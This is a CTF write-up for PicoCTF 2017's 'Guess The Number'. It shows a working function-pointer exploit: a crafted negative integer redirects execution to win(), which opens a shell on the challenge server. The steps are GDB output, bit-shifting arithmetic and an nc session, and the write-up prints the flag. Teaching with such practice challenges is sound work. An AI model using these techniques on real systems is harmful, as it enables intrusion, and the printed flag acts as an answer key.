PicoCTF_2017: Guess The Number

Category: Binary Exploitation Points: 75 Description:

Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:57641.

Hint:

What is the program doing with your input number? strtol checks for overflow, but it does allow negative numbers...

Write-up

This challenge tests your knowledge on two's complement, bit-shifting and GDB magick. First, let's look at the source code. We really want to win().

void win(void) {
    printf("Congratulations! Have a shell:\n");
    system("/bin/sh -i");
}

GDB time!

$ gdb guess_num
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from guess_num...(no debugging symbols found)...done.
(gdb) info address win
Symbol "win" is at 0x804852b in a file compiled without debugging.

Converting 0x804852b to hexadecimal gives us 134513963 or 1000000001001000010100101011. We need to be able to call upon ((void (*)(void))val)(); to win() it, so now we have to figure out how to make val point to win().

val = strtol(buf, NULL, 10);
printf("You entered %d. Let's see if it was right...\n", val);
val >>= 4;

We see that val gets checked for overflow, and then bit shifted right 4 places. So let's do the same for our pointer, by shifting left 4 places.

1000000001001000010100101011
10000000010010000101001010110000 <- add 4 0s

However, now the binary is too large to enter into the system! But wait! We have two's complement and negative numbers to help us!

10000000010010000101001010110000
-2142743888

$ nc shell2017.picoctf.com 57641
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a shell!
Enter your number: -2142743888
You entered -2142743888. Let's see if it was right...
Congratulations! Have a shell:
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag.txt
guess_num
xinetd_wrapper.sh
$ cat flag.txt
c2bda0bde530c16fff8a8530addb44f8

Therefore, the flag is c2bda0bde530c16fff8a8530addb44f8.